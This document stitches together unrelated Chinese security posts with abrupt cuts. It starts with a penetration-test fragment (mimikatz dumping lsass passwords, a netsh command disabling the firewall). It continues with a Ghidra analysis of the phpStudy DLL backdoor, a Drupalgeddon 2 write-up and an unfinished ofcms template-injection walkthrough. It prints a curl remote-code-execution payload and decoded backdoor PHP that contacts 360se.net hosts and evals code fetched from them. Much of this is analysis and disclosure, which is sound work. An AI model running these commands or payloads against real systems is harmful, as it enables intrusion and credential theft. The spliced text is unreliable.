mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
# 把lsass.dmp放在mimikatz目录利用
得到hash,破解密码
## 登录服务器
查看防火墙状态
Netsh Advfirewall show allprofiles
关闭防火墙
NetSh Advfirewall set allprofiles state off
内网IP，需搭建代理
## 登录云桌面，发现意外惊喜
发现机主运行了 telegram，嘿嘿 | 社区文章 |
**作者：lu4nx@知道创宇404积极防御实验室
作者博客：[《使用 Ghidra 分析 phpStudy
后门》](https://www.shellcodes.org/Hacking/%E4%BD%BF%E7%94%A8Ghidra%E5%88%86%E6%9E%90phpStudy%E5%90%8E%E9%97%A8.html
"《使用 Ghidra 分析 phpStudy 后门》")**
这次事件已过去数日，该响应的也都响应了，虽然网上有很多厂商及组织发表了分析文章，但记载分析过程的不多，我只是想正儿八经用 Ghidra 从头到尾分析下。
## 1 工具和平台
主要工具：
* Kali Linux
* Ghidra 9.0.4
* 010Editor 9.0.2
样本环境：
* Windows7
* phpStudy 20180211
## 2 分析过程
先在 Windows 7 虚拟机中安装 PhpStudy 20180211，然后把安装完后的目录拷贝到 Kali Linux 中。
根据网上公开的信息：后门存在于 php_xmlrpc.dll 文件中，里面存在“eval”关键字，文件 MD5 为
c339482fd2b233fb0a555b629c0ea5d5。
因此，先去找到有后门的文件：
lu4nx@lx-kali:/tmp/phpStudy$ find ./ -name php_xmlrpc.dll -exec md5sum {} \;
3d2c61ed73e9bb300b52a0555135f2f7 ./PHPTutorial/php/php-7.2.1-nts/ext/php_xmlrpc.dll
7c24d796e0ae34e665adcc6a1643e132 ./PHPTutorial/php/php-7.1.13-nts/ext/php_xmlrpc.dll
3ff4ac19000e141fef07b0af5c36a5a3 ./PHPTutorial/php/php-5.4.45-nts/ext/php_xmlrpc.dll
c339482fd2b233fb0a555b629c0ea5d5 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll
5db2d02c6847f4b7e8b4c93b16bc8841 ./PHPTutorial/php/php-7.0.12-nts/ext/php_xmlrpc.dll
42701103137121d2a2afa7349c233437 ./PHPTutorial/php/php-5.3.29-nts/ext/php_xmlrpc.dll
0f7ad38e7a9857523dfbce4bce43a9e9 ./PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll
149c62e8c2a1732f9f078a7d17baed00 ./PHPTutorial/php/php-5.5.38/ext/php_xmlrpc.dll
fc118f661b45195afa02cbf9d2e57754 ./PHPTutorial/php/php-5.6.27-nts/ext/php_xmlrpc.dll
将文件 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 单独拷贝出来，再确认下是否存在后门：
lu4nx@lx-kali:/tmp/phpStudy$ strings ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll | grep eval
zend_eval_string
@eval(%s('%s'));
%s;@eval(%s('%s'));
从上面的搜索结果可以看到文件中存在三个“eval”关键字，现在用 Ghidra 载入分析。
在 Ghidra 中搜索下：菜单栏“Search” > “For
Strings”，弹出的菜单按“Search”，然后在结果过滤窗口中过滤“eval”字符串，如图：
从上方结果“Code”字段看的出这三个关键字都位于文件 Data
段中。随便选中一个（我选的“@eval(%s(‘%s’));”）并双击，跳转到地址中，然后查看哪些地方引用过这个字符串（右击，References >
Show References to Address），操作如图：
结果如下：
可看到这段数据在 PUSH 指令中被使用，应该是函数调用，双击跳转到汇编指令处，然后 Ghidra 会自动把汇编代码转成较高级的伪代码并呈现在
Decompile 窗口中：
如果没有看到 Decompile 窗口，在菜单Window > Decompile 中打开。
在翻译后的函数 FUN_100031f0 中，我找到了前面搜索到的三个 eval 字符，说明这个函数中可能存在多个后门（当然经过完整分析后存在三个后门）。
这里插一句，Ghidra 转换高级代码能力比 IDA 的 Hex-Rays Decompiler 插件要差一些，比如 Ghidra 转换的这段代码：
puVar8 = local_19f;
while (iVar5 != 0) {
iVar5 = iVar5 + -1;
*puVar8 = 0;
puVar8 = puVar8 + 1;
}
在IDA中翻译得就很直观：
memset(&v27, 0, 0xB0u);
还有对多个逻辑的判断，IDA 翻译出来是：
if (a && b){
...
}
Ghidra 翻译出来却是：
if (a) {
if(b) {
}
}
而多层 if 嵌套阅读起来会经常迷路。总之 Ghidra 翻译的代码只有反复阅读后才知道是干嘛的，在理解这类代码上我花了好几个小时。
### 2.1 第一个远程代码执行的后门
第一个后门存在于这段代码：
iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,
s__SERVER_1000ec9c,~uVar6,&local_14);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28
);
if (iVar5 != -1) {
pcVar9 = s_gzip,deflate_1000ec74;
pbVar4 = *(byte **)*local_28;
pbVar7 = pbVar4;
do {
bVar2 = *pbVar7;
bVar11 = bVar2 < (byte)*pcVar9;
if (bVar2 != *pcVar9) {
LAB_10003303:
iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false);
goto LAB_10003308;
}
if (bVar2 == 0) break;
bVar2 = pbVar7[1];
bVar11 = bVar2 < ((byte *)pcVar9)[1];
if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303;
pbVar7 = pbVar7 + 2;
pcVar9 = (char *)((byte *)pcVar9 + 2);
} while (bVar2 != 0);
iVar5 = 0;
LAB_10003308:
if (iVar5 == 0) {
uVar6 = 0xffffffff;
pcVar9 = s__SERVER_1000ec9c;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) +
0xd8,s__SERVER_1000ec9c,~uVar6,&local_14);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6,
&local_1c);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = *(char **)*local_1c;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);
if (local_10 != (undefined4 *)0x0) {
iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
local_24 = *(undefined4 *)(iVar5 + 0x128);
*(undefined **)(iVar5 + 0x128) = local_ec;
iVar5 = _setjmp3(local_ec,0);
uVar3 = local_24;
if (iVar5 == 0) {
zend_eval_string(local_10,0,&DAT_10012884,param_3);
}
else {
*(undefined4 *)
(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
local_24;
}
*(undefined4 *)
(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3;
}
}
}
}
}
}
阅读起来非常复杂，大概逻辑就是通过 PHP 的 `zend_hash_find` 函数寻找 `$_SERVER` 变量，然后找到 Accept-Encoding 和 Accept-Charset 两个 HTTP 请求头，如果 Accept-Encoding 的值为 gzip,deflate，就调用
`zend_eval_string` 去执行 Accept-Encoding 的内容：
zend_eval_string(local_10,0,&DAT_10012884,param_3);
这里 zend_eval_string 执行的是 local_10 变量的内容，local_10 是通过调用一个函数赋值的：
local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);
函数 FUN_100040b0 最后分析出来是做 Base64 解码的。
到这里，就知道该如何构造 Payload 了：
Accept-Encoding: gzip,deflate
Accept-Charset: Base64加密后的PHP代码
朝虚拟机构造一个请求：
$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6
结果如图：
### 2.2 第二处后门
沿着伪代码继续分析，看到这一段代码：
if (iVar5 == 0) {
puVar8 = &DAT_1000d66c;
local_8 = &DAT_10012884;
piVar10 = &DAT_1000d66c;
do {
if (*piVar10 == 0x27) {
(&DAT_10012884)[iVar5] = 0x5c;
(&DAT_10012885)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 2;
piVar10 = piVar10 + 2;
}
else {
(&DAT_10012884)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 1;
piVar10 = piVar10 + 1;
}
puVar8 = puVar8 + 1;
} while ((int)puVar8 < 0x1000e5c4);
spprintf(&local_20,0,s_$V='%s';$M='%s';_1000ec3c,&DAT_100127b8,&DAT_10012784);
spprintf(&local_8,0,s_%s;@eval(%s('%s'));_1000ec28,local_20,s_gzuncompress_1000d018,
local_8);
iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
local_10 = *(undefined4 **)(iVar5 + 0x128);
*(undefined **)(iVar5 + 0x128) = local_6c;
iVar5 = _setjmp3(local_6c,0);
uVar3 = local_10;
if (iVar5 == 0) {
zend_eval_string(local_8,0,&DAT_10012884,param_3);
}
else {
*(undefined4 **)
(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_10;
}
*(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
uVar3;
return 0;
}
重点在这段：
puVar8 = &DAT_1000d66c;
local_8 = &DAT_10012884;
piVar10 = &DAT_1000d66c;
do {
if (*piVar10 == 0x27) {
(&DAT_10012884)[iVar5] = 0x5c;
(&DAT_10012885)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 2;
piVar10 = piVar10 + 2;
}
else {
(&DAT_10012884)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 1;
piVar10 = piVar10 + 1;
}
puVar8 = puVar8 + 1;
} while ((int)puVar8 < 0x1000e5c4);
变量 puVar8 是作为累计变量，这段代码像是拷贝地址 0x1000d66c 至 0x1000e5c4 之间的数据，于是选中切这行代码：
puVar8 = &DAT_1000d66c;
双击 DAT_1000d66c，Ghidra 会自动跳转到该地址，然后在菜单选择 Window > Bytes 来打开十六进制窗口，现已处于地址
0x1000d66c，接下来要做的就是把 0x1000d66c~0x1000e5c4 之间的数据拷贝出来：
1. 选择菜单 Select > Bytes；
2. 弹出的窗口中勾选“To Address”，然后在右侧的“Ending Address”中填入 0x1000e5c4，如图：
按回车后，这段数据已被选中，我把它们单独拷出来，点击右键，选择 Copy Special > Byte String (No Spaces)，如图：
然后打开 010Editor 编辑器：
1. 新建文件：File > New > New Hex File；
2. 粘贴拷贝的十六进制数据：Edit > Paste From > Paste from Hex Text
然后，把“00”字节全部去掉，选择 Search > Replace，查找 00，Replace 那里不填，点“Replace All”，处理后如下：
把处理后的文件保存为 p1。通过 file 命令得知文件 p1 为 Zlib 压缩后的数据：
$ file p1
p1: zlib compressed data
用 Python 的 zlib 库就可以解压，解压代码如下：
import zlib
with open("p1", "rb") as f:
data = f.read()
print(zlib.decompress(data))
执行结果如下：
lu4nx@lx-kali:/tmp$ python3 decom.py
b"$i='info^_^'.base64_encode($V.'<|>'.$M.'<|>').'==END==';$zzz='-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------';@eval(base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs='));"
用 base64 命令把这段 Base64 代码解密，过程及结果如下：
lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIHRjcEdldCgkc2VuZE1zZyA9ICcnLCAkaXAgPSAnMzYwc2UubmV0JywgJHBvcnQgPSAnMjAxMjMnKXsKCSRyZXN1bHQgPSAiIjsKICAkaGFuZGxlID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInRjcDovL3skaXB9OnskcG9ydH0iLCAkZXJybm8sICRlcnJzdHIsMTApOyAKICBpZiggISRoYW5kbGUgKXsKICAgICRoYW5kbGUgPSBmc29ja29wZW4oJGlwLCBpbnR2YWwoJHBvcnQpLCAkZXJybm8sICRlcnJzdHIsIDUpOwoJaWYoICEkaGFuZGxlICl7CgkJcmV0dXJuICJlcnIiOwoJfQogIH0KICBmd3JpdGUoJGhhbmRsZSwgJHNlbmRNc2cuIlxuIik7Cgl3aGlsZSghZmVvZigkaGFuZGxlKSl7CgkJc3RyZWFtX3NldF90aW1lb3V0KCRoYW5kbGUsIDIpOwoJCSRyZXN1bHQgLj0gZnJlYWQoJGhhbmRsZSwgMTAyNCk7CgkJJGluZm8gPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkaGFuZGxlKTsKCQlpZiAoJGluZm9bJ3RpbWVkX291dCddKSB7CgkJICBicmVhazsKCQl9CgkgfQogIGZjbG9zZSgkaGFuZGxlKTsgCiAgcmV0dXJuICRyZXN1bHQ7IAp9CgokZHMgPSBhcnJheSgid3d3IiwiYmJzIiwiY21zIiwiZG93biIsInVwIiwiZmlsZSIsImZ0cCIpOwokcHMgPSBhcnJheSgiMjAxMjMiLCI0MDEyNSIsIjgwODAiLCI4MCIsIjUzIik7CiRuID0gZmFsc2U7CmRvIHsKCSRuID0gZmFsc2U7Cglmb3JlYWNoICgkZHMgYXMgJGQpewoJCSRiID0gZmFsc2U7CgkJZm9yZWFjaCAoJHBzIGFzICRwKXsKCQkJJHJlc3VsdCA9IHRjcEdldCgkaSwkZC4iLjM2MHNlLm5ldCIsJHApOyAKCQkJaWYgKCRyZXN1bHQgIT0gImVyciIpewoJCQkJJGIgPXRydWU7CgkJCQlicmVhazsKCQkJfQoJCX0KCQlpZiAoJGIpYnJlYWs7Cgl9CgkkaW5mbyA9IGV4cGxvZGUoIjxePiIsJHJlc3VsdCk7CglpZiAoY291bnQoJGluZm8pPT00KXsKCQlpZiAoc3RycG9zKCRpbmZvWzNdLCIvKk9uZW1vcmUqLyIpICE9PSBmYWxzZSl7CgkJCSRpbmZvWzNdID0gc3RyX3JlcGxhY2UoIi8qT25lbW9yZSovIiwiIiwkaW5mb1szXSk7CgkJCSRuPXRydWU7CgkJfQoJCUBldmFsKGJhc2U2NF9kZWNvZGUoJGluZm9bM10pKTsKCX0KfXdoaWxlKCRuKTs=' | base64 -d
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
### 2.3 第三个后门
第三个后门和第二个实现逻辑其实差不多，代码如下：
puVar8 = &DAT_1000d028;
local_c = &DAT_10012884;
iVar5 = 0;
piVar10 = &DAT_1000d028;
do {
if (*piVar10 == 0x27) {
(&DAT_10012884)[iVar5] = 0x5c;
(&DAT_10012885)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 2;
piVar10 = piVar10 + 2;
}
else {
(&DAT_10012884)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 1;
piVar10 = piVar10 + 1;
}
puVar8 = puVar8 + 1;
} while ((int)puVar8 < 0x1000d66c);
spprintf(&local_c,0,s_@eval(%s('%s'));_1000ec14,s_gzuncompress_1000d018,&DAT_10012884);
iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
local_18 = *(undefined4 *)(iVar5 + 0x128);
*(undefined **)(iVar5 + 0x128) = local_ac;
iVar5 = _setjmp3(local_ac,0);
uVar3 = local_18;
if (iVar5 == 0) {
zend_eval_string(local_c,0,&DAT_10012884,param_3);
}
重点在这段：
puVar8 = &DAT_1000d028;
local_c = &DAT_10012884;
iVar5 = 0;
piVar10 = &DAT_1000d028;
do {
if (*piVar10 == 0x27) {
(&DAT_10012884)[iVar5] = 0x5c;
(&DAT_10012885)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 2;
piVar10 = piVar10 + 2;
}
else {
(&DAT_10012884)[iVar5] = *(undefined *)puVar8;
iVar5 = iVar5 + 1;
piVar10 = piVar10 + 1;
}
puVar8 = puVar8 + 1;
} while ((int)puVar8 < 0x1000d66c);
后门代码在地址 0x1000d028~0x1000d66c 中，提取和处理方法与第二个后门的一样。找到并提出来，如下：
lu4nx@lx-kali:/tmp$ python3 decom.py
b" @eval( base64_decode('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ=='));"
把这段Base64代码解码：
lu4nx@lx-kali:/tmp$ echo 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwplcnJvcl9yZXBvcnRpbmcoMCk7CiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokcCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddOwokZnAgPSBmc29ja29wZW4oJGgsICRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwppZiAoISRmcCkgewp9IGVsc2UgewoJJG91dCA9ICJHRVQgeyRfU0VSVkVSWydTQ1JJUFRfTkFNRSddfSBIVFRQLzEuMVxyXG4iOwoJJG91dCAuPSAiSG9zdDogeyRofVxyXG4iOwoJJG91dCAuPSAiQWNjZXB0LUVuY29kaW5nOiBjb21wcmVzcyxnemlwXHJcbiI7Cgkkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsKIAoJZndyaXRlKCRmcCwgJG91dCk7CglmY2xvc2UoJGZwKTsKfQ==' | base64 -d
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
## 3 参考
* <https://github.com/jas502n/PHPStudy-Backdoor>
* 《phpStudy 遭黑客入侵植入后门事件披露 | 微步在线报告》
* [《PhpStudy 后门分析》，作者：Hcamael@知道创宇 404 实验室](https://paper.seebug.org/1044/ "《PhpStudy 后门分析》，作者：Hcamael@知道创宇 404 实验室")
* * * | 社区文章 |
原文：<https://research.checkpoint.com/uncovering-drupalgeddon-2/>
**摘要**
* * *
两周前，Drupal安全团队披露了一个非常严重的（21/25 NIST等级）漏洞，该漏洞又名为[Drupalgeddon
2](https://www.drupal.org/sa-core-2018-002 "Drupalgeddon 2")（SA-CORE-2018-002/CVE-2018-7600）。对于默认或常见的Drupal安装来说，该漏洞允许攻击者在未经身份验证的情况下远程执行代码。
Drupal是一款开源内容管理系统（CMS），用户多达100万以上（包括政府、电子零售、企业组织、金融机构等），除非已经安装了针对Drupalgeddon
2漏洞的安全补丁，否则，所有用户都会面临该漏洞的严重威胁。
到目前为止，该漏洞的详细信息尚未公开，但Check Point Research经过一番深入研究后，已经搞清了其背后的工作原理。
长话短说，引起该漏洞的根本原因，是由于Drupal对Form
API（FAPI）的AJAX请求的输入没有进行严格过滤，使得攻击者有机会将恶意荷载注入内部表单结构，从而导致Drupal在没有进行用户认证的情况下执行恶意荷载。利用该漏洞，攻击者可以接管整个网站。
对于该漏洞来说，从Drupal 6到Drupal
8之间的所有版本都受其影响，即使手工安装更新的网站也不例外。在本文中，我们将以Drupal旗舰产品Drupal
8为例，为读者详细介绍开箱即用安装环境下的真实攻击情形。
**技术细节**
* * *
**安全漏洞**
Form API是在Drupal 6中引入的，它允许在表单渲染过程中修改表单数据——这彻底改变了标记的处理方式。
从Drupal 7开始，Form
API被扩展至“渲染数组”。经过这次扩展之后，该API已经可以表示Drupal的大部分UI元素的结构了，例如页面、文本框、节点等。
渲染数组用于存放渲染过程中使用的元数据。这类数组采用键值结构，其中属性键以#开头，如：
[
‘#type’ => ‘markup’,
‘#markup’ => ‘<em>some text</em>’,
‘#prefix’ => ‘<div>’,
‘#suffix’ => ‘</div>’
]
**Drupal提供的补丁**
* * *
Drupal提供的补丁添加了一个名为RequestSanitizer的类，它带有一个stripDangerousValues方法，该方法的作用是将输入数组中的所有以井号开头的数据项全部“unset”（注：属性键以#开头）。同时，该方法会在Drupal启动初期（加载站点配置后立即）对$
_GET、$ _POST和$ _COOKIES中的输入数据进行相应的过滤处理。
这个补丁之所以这么做，据我们猜测，原因之一可能是为了提高该漏洞得发现和利用难度。
**寻找攻击矢量**
* * *
鉴于此，我们决定将精力全部集中到那些暴露给匿名用户的表单上面。
这些类型的表单有很多，其中之一是用户注册表单。该表单包含多个字段，具体如下所示。
图1：Drupal注册表单。
我们知道，要想利用该漏洞，就需要在表单结构中的某个地方注入渲染数组，所以，首先要找到注入位置。
碰巧的是，“Email
address”字段没有对其收到的输入类型进行相应的过滤处理。这就意味着，我们能够向表单数组结构中注入一个数组（作为email字段的值）。
图2：将渲染数组注入到注册表单的mail输入中。
图3：注入渲染数组后的表单示例。
现在，我们只需要让Drupal渲染我们的注入数组就行了。不过，由于Drupal会将我们注入的数组视为值，而不是元素，因此，我们需要设法欺骗Drupal来渲染它。
这个Drupal渲染数组的功能：
1. 页面加载
2. Drupal AJAX API--即当用户填写AJAX表单时，向Drupal发出请求，以渲染HTML标记并更新表单。
在围绕上述功能考察了各种可能攻击途径之后，根据提交后的渲染过程以及Drupal的实现方式，我们得出结论：AJAX API调用是利用该漏洞的最佳选择。
"Picture"字段是用户注册表单的一部分，它可以使用Drupal的AJAX API将图像上传到服务器，并将其替换为上传图像的缩略图。
图4：通过AJAX API上传图像的表单。
我们仔细研究AJAX文件上传回调函数代码后发现，它使用GET参数来确定表单中哪些部分需要在客户端中进行更新操作。
图5：AJAX的“upload file”回调函数代码。
如果令element_parents指向存放我们注入的数组的表单部分的话，就能成功地让Drupal渲染它们。
**利用Drupalgeddon 2漏洞**
* * *
为了利用这个安全漏洞，只需注入一个恶意渲染数组，然后让该数组利用Drupal的渲染回调函数在系统上执行代码就行了。
实际上，我们可以注入 下列属性：
* #access_callback
该元素供Drupal用来确定当前用户是否有权访问某元素。
* #pre_render
在渲染之前操作渲染数组。
* #lazy_builder
用于在渲染过程结束时添加元素。
* #post_render
接收渲染过程的结果，并对其进行封装。
在本POC中，我们选择将#lazy_builder元素注入到了邮件数组中。借助于AJAX API回调函数，我们就可以让Drupal来渲染我们的恶意数组了。
如此一来，我们就能够控制管理员的帐户，安装恶意的后门模块，并最终在服务器上执行任意命令了。
图6：将恶意命令注入到Drupal的渲染回调函数中。
图7：使用恶意模块成功执行shell命令。
**小结**
* * *
在阅读Twitter和几个安全博客上关于该漏洞的介绍后，我们发现安全社区对于这个漏洞公告感到非常困惑，有些人甚至怀疑它的严重性。因此，我们认为值得深入研究。然而，这项研究的挑战性在于，由于安全补丁故意掩盖了真正的攻击向量，所以我们不得不面对大量可能的攻击向量。为了加快我们的研究，我们有幸邀请到了Drupal平台的相关专家，在此致以衷心的感谢。 | 社区文章 |
## 环境搭建
从gitee下载源码
[传送门](https://gitee.com/oufu/ofcms/)
1. 根据开发文档，我们首先将项目导入idea开发工具中
2. 之后在Mysql中新建ofcms数据库
3. 在ofcms-admin模块中的`src/main/resources/conf/dev/conf/db-config.properties`文件中配置JDBC连接配置
之后将其重命名为`db.properties`
1. 初始化数据库，有两种方式，一种是手工的，一种是自动的，我这里选择的是手工的方式
将`doc/sql`文件夹的sql文件导入到mysql中执行
2. 最开开启Tomcat容器，启动项目
管理后台
默认密码为`admin/123456`
## 分析
首先我们可以看看这个CMS用的组件，是不是有一些组件可以直接造成漏洞
我们可以发现有着`freemarker`，那么是否有着模板注入的风险呢，答案当然是有的
我们同时可以大概看一下项目
### SSTI
上面提到了使用了`freemarker`组件，我们可以后台中找到一处可以修改模板的位置
这里就存在一个模板注入的漏洞
对于freemarker的攻击方式
freemarker可利用的点在于模版语法本身，直接渲染用户输入payload会被转码而失效，所以一般的利用场景为上传或者修改模版文件，正好这里是一处可以加载模板的功能点
我们首先在这个位置编辑修改了模板文件之后，在调用这个文件的时候将会对模板进行渲染，后端调用了`com.ofsoft.cms.admin.controller.cms.TemplateController#save`方法来获取模板，打下断点分析一下
简单看一下这之前的调用栈
save:108, TemplateController (com.ofsoft.cms.admin.controller.cms)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:73, Invocation (com.jfinal.aop)
intercept:41, IocInterceptor (com.ofsoft.cms.core.spring)
invoke:67, Invocation (com.jfinal.aop)
intercept:21, ApiInterceptor (com.jfinal.weixin.sdk.jfinal)
invoke:67, Invocation (com.jfinal.aop)
intercept:44, SessionInViewInterceptor (com.jfinal.ext.interceptor)
invoke:67, Invocation (com.jfinal.aop)
intercept:60, ShiroInterceptor (com.ofsoft.cms.core.plugin.shiro)
